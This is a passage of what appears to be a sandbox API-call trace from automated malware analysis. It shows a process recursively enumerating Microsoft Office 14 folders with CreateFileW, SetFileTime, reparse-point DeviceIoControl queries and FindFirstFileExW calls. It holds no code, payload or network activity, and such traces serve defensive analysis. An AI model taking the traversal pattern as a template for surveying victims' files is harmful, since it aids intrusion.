Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\GrayCheck\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd560 [0246.897] GetLastError () returned 0x12 [0246.897] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\GrayCheck\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd5e0 [0246.897] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0246.897] GetLastError () returned 0x12 [0246.897] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16012f0) returned 1 [0246.897] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0246.897] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16013f8) returned 1 [0246.898] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16011e8) returned 1 [0246.898] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Lime" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\lime"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0246.898] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15fe924, lpLastWriteTime=0x15fe924) returned 0 [0246.899] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9e2df0, nOutBufferSize=0x4000, lpBytesReturned=0x15fe97c, lpOverlapped=0x0 | out: lpOutBuffer=0x9e2df0, lpBytesReturned=0x15fe97c, lpOverlapped=0x0) returned 0 [0246.899] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9e2df0) returned 1 [0246.899] NtClose (Handle=0x1b8) returned 0x0 [0246.899] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16011e8) returned 1 [0246.899] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Lime\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd5e0 [0246.899] GetLastError () returned 0x12 [0246.899] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Lime\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd560 [0246.899] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0246.899] GetLastError () returned 0x12 [0246.899] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16013f8) returned 1 [0246.899] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0246.899] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16012f0) returned 1 [0246.899] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16011e8) returned 1 [0246.900] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Oasis" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\oasis"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0246.900] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fe924, lpLastWriteTime=0x15fe924) returned 0 [0246.900] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9cc120, nOutBufferSize=0x4000, lpBytesReturned=0x15fe97c, lpOverlapped=0x0 | out: lpOutBuffer=0x9cc120, lpBytesReturned=0x15fe97c, lpOverlapped=0x0) returned 0 [0246.900] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9cc120) returned 1 [0246.900] NtClose (Handle=0x1b0) returned 0x0 [0246.901] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16011e8) returned 1 [0246.901] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Oasis\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd560 [0246.901] GetLastError () returned 0x12 [0246.901] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Oasis\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd5e0 [0246.901] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0246.901] GetLastError () returned 0x12 [0246.901] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16012f0) returned 1 [0246.901] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0246.901] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16013f8) returned 1 [0246.901] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16011e8) returned 1 [0246.902] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Slate" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\slate"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0246.902] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15fe924, lpLastWriteTime=0x15fe924) returned 0 [0246.902] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9cc120, nOutBufferSize=0x4000, lpBytesReturned=0x15fe97c, lpOverlapped=0x0 | out: lpOutBuffer=0x9cc120, lpBytesReturned=0x15fe97c, lpOverlapped=0x0) returned 0 [0246.902] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9cc120) returned 1 [0246.902] NtClose (Handle=0x1b8) returned 0x0 [0246.902] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16011e8) returned 1 [0246.902] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Slate\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd5e0 [0246.902] GetLastError () returned 0x12 [0246.902] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Slate\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd560 [0246.903] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0246.903] GetLastError () returned 0x12 [0246.903] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16013f8) returned 1 [0246.903] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0246.903] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16012f0) returned 1 [0246.903] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16011e8) returned 1 [0246.903] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SoftBlue" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\softblue"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0246.903] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fe924, lpLastWriteTime=0x15fe924) returned 0 [0246.903] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9cc120, nOutBufferSize=0x4000, lpBytesReturned=0x15fe97c, lpOverlapped=0x0 | out: lpOutBuffer=0x9cc120, lpBytesReturned=0x15fe97c, lpOverlapped=0x0) returned 0 [0246.903] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9cc120) returned 1 [0246.903] NtClose (Handle=0x1b0) returned 0x0 [0246.903] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16011e8) returned 1 [0246.903] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SoftBlue\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd560 [0246.904] GetLastError () returned 0x12 [0246.904] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SoftBlue\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd5e0 [0246.904] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0246.904] GetLastError () returned 0x12 [0246.904] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16012f0) returned 1 [0246.904] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0246.904] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16013f8) returned 1 [0246.904] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16011e8) returned 1 [0246.905] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0246.905] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15fe924, lpLastWriteTime=0x15fe924) returned 0 [0246.905] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9cc120, nOutBufferSize=0x4000, lpBytesReturned=0x15fe97c, lpOverlapped=0x0 | out: lpOutBuffer=0x9cc120, lpBytesReturned=0x15fe97c, lpOverlapped=0x0) returned 0 [0246.905] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9cc120) returned 1 [0246.905] NtClose (Handle=0x1b8) returned 0x0 [0246.905] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16011e8) returned 1 [0246.905] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd5e0 [0246.907] GetLastError () returned 0x12 [0246.907] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd560 [0246.907] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0246.907] GetLastError () returned 0x12 [0246.907] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16013f8) returned 1 [0246.907] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0246.908] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16012f0) returned 1 [0246.908] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16011e8) returned 1 [0246.909] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SpringGreen" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\springgreen"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0246.909] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fe924, lpLastWriteTime=0x15fe924) returned 0 [0246.909] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9e2df0, nOutBufferSize=0x4000, lpBytesReturned=0x15fe97c, lpOverlapped=0x0 | out: lpOutBuffer=0x9e2df0, lpBytesReturned=0x15fe97c, lpOverlapped=0x0) returned 0 [0246.909] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9e2df0) returned 1 [0246.909] NtClose (Handle=0x1b0) returned 0x0 [0246.909] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16011e8) returned 1 [0246.909] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SpringGreen\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd560 [0246.909] GetLastError () returned 0x12 [0246.909] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SpringGreen\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd5e0 [0246.909] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0246.909] GetLastError () returned 0x12 [0246.909] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16012f0) returned 1 [0246.909] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0246.910] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16013f8) returned 1 [0246.910] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16011e8) returned 1 [0246.910] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\STS2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\sts2"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0246.910] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15fe924, lpLastWriteTime=0x15fe924) returned 0 [0246.911] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9e2df0, nOutBufferSize=0x4000, lpBytesReturned=0x15fe97c, lpOverlapped=0x0 | out: lpOutBuffer=0x9e2df0, lpBytesReturned=0x15fe97c, lpOverlapped=0x0) returned 0 [0246.911] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9e2df0) returned 1 [0246.911] NtClose (Handle=0x1b8) returned 0x0 [0246.911] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16011e8) returned 1 [0246.911] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\STS2\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd5e0 [0246.911] GetLastError () returned 0x12 [0246.911] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\STS2\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd560 [0246.911] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0246.911] GetLastError () returned 0x12 [0246.911] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16013f8) returned 1 [0246.911] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0246.911] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16012f0) returned 1 [0246.911] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16011e8) returned 1 [0246.912] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Swirl" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\swirl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0246.912] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fe924, lpLastWriteTime=0x15fe924) returned 0 [0246.912] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9e2df0, nOutBufferSize=0x4000, lpBytesReturned=0x15fe97c, lpOverlapped=0x0 | out: lpOutBuffer=0x9e2df0, lpBytesReturned=0x15fe97c, lpOverlapped=0x0) returned 0 [0246.912] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9e2df0) returned 1 [0246.912] NtClose (Handle=0x1b0) returned 0x0 [0246.912] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16011e8) returned 1 [0246.913] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Swirl\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd560 [0246.913] GetLastError () returned 0x12 [0246.913] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Swirl\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd5e0 [0246.913] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0246.913] GetLastError () returned 0x12 [0246.913] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16012f0) returned 1 [0246.913] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0246.913] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16013f8) returned 1 [0246.913] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16011e8) returned 1 [0246.913] GetLastError () returned 0x12 [0246.913] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9d9528) returned 1 [0246.913] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0246.913] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9d9630) returned 1 [0246.913] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9d9420) returned 1 [0246.913] GetLastError () returned 0x12 [0246.913] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9db600) returned 1 [0246.913] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0246.914] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9d8190) returned 1 [0246.914] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9bd920) returned 1 [0246.914] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0246.914] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0246.915] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9e2df0, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9e2df0, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0246.915] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9e2df0) returned 1 [0246.915] NtClose (Handle=0x1b4) returned 0x0 [0246.915] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9bd920) returned 1 [0246.915] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd5a0 [0246.917] GetLastError () returned 0x12 [0246.917] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd4e0 [0246.917] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0246.918] GetLastError () returned 0x12 [0246.918] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9db688) returned 1 [0246.918] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0246.918] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9d8190) returned 1 [0246.918] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9bd920) returned 1 [0246.919] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0246.919] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0246.919] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9e2df0, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9e2df0, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0246.919] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9e2df0) returned 1 [0246.919] NtClose (Handle=0x170) returned 0x0 [0246.919] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9bd920) returned 1 [0246.919] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd4e0 [0246.926] GetLastError () returned 0x12 [0246.926] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd5a0 [0246.926] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0246.926] GetLastError () returned 0x12 [0246.926] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9db710) returned 1 [0246.926] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0246.927] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9d8190) returned 1 [0246.927] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9bd920) returned 1 [0246.928] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0246.928] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0246.928] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9cc120, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9cc120, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0246.928] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9cc120) returned 1 [0246.928] NtClose (Handle=0x1b4) returned 0x0 [0246.928] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9bd920) returned 1 [0246.928] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd5a0 [0246.930] GetLastError () returned 0x12 [0246.930] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd4e0 [0246.930] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0246.930] GetLastError () returned 0x12 [0246.930] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9db600) returned 1 [0246.930] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0246.931] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9d8190) returned 1 [0246.931] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9bd920) returned 1 [0246.932] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\vsdir"), 